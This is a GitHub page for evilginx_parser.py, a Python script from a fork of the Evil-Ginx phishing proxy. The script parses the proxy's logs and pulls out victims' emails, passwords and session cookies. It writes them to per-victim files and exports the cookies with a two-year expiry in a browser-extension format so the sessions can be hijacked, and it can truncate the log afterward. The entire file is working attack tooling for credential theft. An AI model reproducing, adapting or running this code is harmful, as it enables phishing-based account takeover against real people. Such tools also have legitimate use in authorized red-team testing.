forked from kgretzky/evilginx
-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathevilginx_parser.py
217 lines (185 loc) · 6.82 KB
/
evilginx_parser.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
#!/usr/bin/python
"""Evil-Ginx Parser"""
import os
import os.path
import argparse
import json
import ConfigParser
import urllib
import time
import datetime
EOL = '\n'
TAB = '\t'
email_by_ips = {}
class log_data:
def __init__(self, email, passwd, tokens):
self.email = email
self.passwd = passwd
self.tokens = tokens
def get_post_args(data):
"""returns post args as a dict"""
ret = {}
pargs = data.split('&')
for parg in pargs:
p = parg.split('=')
if len(p) == 2:
name = p[0]
val = p[1]
ret[name] = val
return ret
def get_set_cookies(data):
"""returns set-cookies headers as a dict"""
ret = {}
cargs = data.split('||')
for ck in cargs:
ie = ck.find('=')
sn = ck.find(';')
if ie > -1 and sn > -1:
name = ck[:ie]
val = ck[ie+1:sn]
ret[name] = val
return ret
def get_token_names(tokens_json):
"""gets token names from credentials config"""
ret = []
tokens = json.loads(tokens_json)
for tk in tokens:
for ck in tk["cookies"]:
ret.append(ck)
return ret
def get_token_domains(tokens_json):
"""gets tokens by domain"""
ret = {}
tokens = json.loads(tokens_json)
for tk in tokens:
for ck in tk["cookies"]:
ret[ck] = tk["domain"]
return ret
def tokens_ready(setcookies, tokens):
"""check if all required tokens are present in set-cookies headers"""
if setcookies == None or tokens == None:
return False
_tokens = tokens[:]
for tk in setcookies:
if tk in _tokens:
_tokens.remove(tk)
if len(_tokens) == 0:
return True
return False
def dump_tokens(setcookies, tokens, token_domains):
"""dumps crednetial tokens to string compatible with EditThisCookie chrome extension"""
ret = []
for tk in tokens:
name = tk
val = setcookies[tk]
domain = token_domains[tk]
expire_time = int(time.time() + 2 * 365 * 24 * 60 * 60) # 2 years in the future
ck = {}
ck['domain'] = domain
ck["expirationDate"] = expire_time
ck['name'] = name
ck['path'] = '/'
ck['value'] = val
ret.append(ck)
return json.dumps(ret)
def create_log(outdir, logn, email, passwd, tokens):
"""creates a log file"""
if email == '':
email = 'unknown'
if not os.path.exists(outdir):
os.mkdir(outdir)
log_dir = os.path.join(outdir, email)
t_str = datetime.datetime.utcfromtimestamp(time.time()).today().strftime('%Y%m%d_%H%M%S')
if not os.path.exists(log_dir):
os.mkdir(log_dir)
# save creds
if tokens != '':
with open(os.path.join(log_dir, t_str + '_' + str(logn) + '_tokens.txt'), 'wt') as f:
f.write('email: ' + email + EOL)
f.write('passwd: ' + passwd + EOL + EOL)
f.write(tokens + EOL)
f.close()
elif passwd != '':
with open(os.path.join(log_dir, t_str + '_' + str(logn) + '_creds.txt'), 'wt') as f:
f.write('email: ' + email + EOL)
f.write('passwd: ' + passwd + EOL)
f.close()
def load_creds_cfg(path):
"""loads credentials config file"""
cfg = ConfigParser.ConfigParser()
cfg.read(path)
if cfg.has_section('creds') and cfg.has_option('creds', 'email_arg') and cfg.has_option('creds', 'passwd_arg') and cfg.has_option('creds', 'tokens'):
return cfg
return None
def parse_line(cfg, cur_email, line):
"""parse log line"""
global email_by_ips
remote_addr = cur_email = cur_passwd = token_data = ''
try:
# BUG: Lines that include '\' characters will trigger an invalid JSON escape sequence exception.
# These lines can be ignored as they are very unlikely to contain credentials or session cookies.
# Output of log files should be fixed in the future - probably to not use unescaped JSON data.
req = json.loads(line)
email_arg = cfg.get('creds', 'email_arg').strip()
passwd_arg = cfg.get('creds', 'passwd_arg').strip()
remote_addr = req['remote_addr']
post_args = get_post_args(req['body'])
tokens = get_token_names(cfg.get('creds', 'tokens'))
token_domains = get_token_domains(cfg.get('creds', 'tokens'))
set_cookies = get_set_cookies(req['set-cookies'])
cur_email = ''
cur_passwd = ''
token_data = ''
if email_arg and passwd_arg in post_args:
cur_email = urllib.unquote(post_args[email_arg]).decode('utf8')
cur_passwd = urllib.unquote(post_args[passwd_arg]).decode('utf8')
email_by_ips[req['remote_addr']] = cur_email
if req['remote_addr'] in email_by_ips and tokens_ready(set_cookies, tokens):
token_data = dump_tokens(set_cookies, tokens, token_domains)
except:
pass
return remote_addr, cur_email, cur_passwd, token_data
def parse_args():
"""parse script aguments"""
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--input', help='Input log file to parse.', default='', required=True)
parser.add_argument('-o', '--outdir', help='Directory where output files will be saved.', default='', required=True)
parser.add_argument('-c', '--creds', help='Credentials configuration file.', default='', required=True)
parser.add_argument('-x', '--truncate', help='Truncate log file after parsing.', action='store_true')
return parser.parse_args()
def main():
"""main function"""
args = parse_args()
cfg = load_creds_cfg(args.creds)
if cfg:
cur_email = ''
log_entries = {}
clients = {}
logn = 0
ncreds = 0
ntokens = 0
with open(args.input, 'r+b') as f:
lines = f.readlines()
for line in lines:
if len(line) > 0:
remote_addr, email, passwd, tokens = parse_line(cfg, cur_email, line)
if remote_addr != '' and ((email != '' and passwd != '') or tokens != ''):
if email != '' and passwd != '':
clients[remote_addr] = log_data(email, passwd, '')
ncreds += 1
if tokens != '':
ntokens += 1
if email == '' and remote_addr in clients:
email = clients[remote_addr].email
passwd = clients[remote_addr].passwd
create_log(args.outdir, logn, email, passwd, tokens)
logn += 1
if args.truncate:
f.truncate(0)
f.close()
print 'found creds: ' + str(ncreds)
print 'found tokens: ' + str(ntokens)
else:
print '[-] creds config corrupted.'
if __name__ == '__main__':
main()